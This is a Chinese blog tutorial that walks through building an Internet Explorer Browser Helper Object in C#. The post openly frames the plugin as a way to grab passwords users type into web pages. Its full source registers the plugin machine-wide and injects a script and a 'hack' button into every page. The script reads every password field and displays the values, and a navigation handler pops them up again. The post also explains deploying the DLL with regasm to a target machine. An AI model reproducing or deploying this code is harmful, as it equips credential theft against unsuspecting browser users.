C# 开发BHO插件

BHO（Browser Helper Object）是插件，它寄存在IE浏览器中运行。在咱们的日常生活中无时无刻都在使用BHO，比如：迅雷检测用户是否单击了下载链接的BHO。用BHO也能做出些非常有意思的程序：窃取用户在网页上输入的密码信息等。

  接下来，咱们也来制作一个恶搞的BHO吧，该BHO的功能如下：

  1.注册成功后，每当用户浏览一个新的网页时，会自动在该网页中注入一个按钮

  2.点击该按钮能获取用户在该网页中输入的敏感信息

 

操作步骤

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图7

 

程序代码

IObjectWithSite.cs

    using System;  
    using System.Collections.Generic;  
      
    using System.Text;  
      
    using System.Runtime.InteropServices;  
      
    namespace HelloBHO  
    {  
      
        [  
    ComVisible(true),  
    InterfaceType(ComInterfaceType.InterfaceIsIUnknown),  
    Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")  
    ]  
      
        public interface IObjectWithSite  
        {  
            [PreserveSig]  
            int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);  
            [PreserveSig]  
            int GetSite(ref Guid guid, out IntPtr ppvSite);  
        }  
    }  

BHO.cs：

    using System;  
    using System.Collections.Generic;  
    using System.Text;  
      
    using System.Runtime.InteropServices;  
    using SHDocVw;  
    using mshtml;  
    using Microsoft.Win32;  
      
    namespace HelloBHO  
    {  
      
            [  
        ComVisible(true),  
        Guid("8a194578-81ea-4850-9911-13ba2d71efbd"),  
        ClassInterface(ClassInterfaceType.None)  
        ]  
        public class BHO:IObjectWithSite  
        {  
            WebBrowser webBrowser;  
            HTMLDocument document;  
      
            public void OnDocumentComplete(object pDisp,ref object URL)  
            {  
                document = (HTMLDocument)webBrowser.Document;  
                IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);  
                var body = (HTMLBody)document.body;  
                 
                //添加Javascript脚本  
                IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");  
                scriptElement.type = "text/javascript";  
                scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;  
                ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);  
      
                //创建些可以使用CSS的节点  
                string styleText = @".tb{position:absolute;top:100px;}";//left:100px;border:1px red solid;width:50px;height:50px;  
                IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style");  
                  
                tmpStyle.type = "text/css";  
                tmpStyle.styleSheet.cssText = styleText;  
      
                string btnString = @"<input type='button' value='hack' onclick='FindPassword()' />";  
                body.insertAdjacentHTML("afterBegin", btnString);  
      
      
      
            }  
      
            public int SetSite(object site)  
            {  
                if (site != null)  
                {  
                    webBrowser = (WebBrowser)site;  
                     
                    webBrowser.DocumentComplete += new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);  
                }  
                else  
                {  
                    webBrowser.DocumentComplete -= new DWebBrowserEvents2_DocumentCompleteEventHandler(this.OnDocumentComplete);  
                    webBrowser = null;  
                }  
                return 0;  
            }  
      
            public void OnBeforeNavigate2(object pDisp, ref object URL, ref object Flags, ref object TargetFrameName, ref object PostData, ref object Headers, ref bool Cancel)  
            {  
                document = (HTMLDocument)webBrowser.Document;  
                foreach (IHTMLInputElement element in document.getElementsByTagName("INPUT"))  
                {  
                    if (element.type.ToLower() == "password")  
                    {  
                        System.Windows.Forms.MessageBox.Show(element.value);  
                    }  
                }  
            }  
      
      
      
            public int GetSite(ref Guid guid, out IntPtr ppvSite)  
            {  
                IntPtr punk = Marshal.GetIUnknownForObject(webBrowser);  
                int hr = Marshal.QueryInterface(punk, ref guid, out ppvSite);  
                Marshal.Release(punk);  
                return hr;  
            }  
      
      
            public static string BHOKEYNAME = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects";  
      
      
            [ComRegisterFunction]  
            public static void RegisterBHO(Type type)  
            {  
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);  
      
                if (registryKey == null)  
                    registryKey = Registry.LocalMachine.CreateSubKey(BHOKEYNAME);  
      
                string guid = type.GUID.ToString("B");  
                RegistryKey ourKey = registryKey.OpenSubKey(guid);  
      
                if (ourKey == null)  
                    ourKey = registryKey.CreateSubKey(guid);  
      
                registryKey.Close();  
                ourKey.Close();  
            }  
      
            [ComUnregisterFunction]  
            public static void UnregisterBHO(Type type)  
            {  
                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(BHOKEYNAME, true);  
                string guid = type.GUID.ToString("B");  
      
                if (registryKey != null)  
                    registryKey.DeleteSubKey(guid, false);  
            }  
        }  
    }  

 

以上引自：http://blog.csdn.net/ghostbear/article/details/7354214

//****************************相关Dos命令************************************//

由其他盘符回到E盘：e: 然后回车，如图：

进入到E盘某个文件夹：

cd xxx\xxx\xxx\xxx  然后回车，如图：

回到上一级菜单：cd .. 然后回车，如图：

返回根目录：cd  / 然后回车，如图：

 

项目部署的机器中不可能安装有vs2010等调试环境，而在dos命令窗口直接输入regasm 注册时会报不是内部命令的错误，那怎么将已完成的BHO部署到目的机器上呢？

首先找到C:\Windows\Microsoft.NET\Framework\v2.0.50727  （我的是win7系统）  目录下会发现有regasm文件。那么就可以这样做了：

 

卸载BHO：regasm （/codebase） "xxx/xxx.dll"  /u 然后回车，提示注销成功即成功卸载。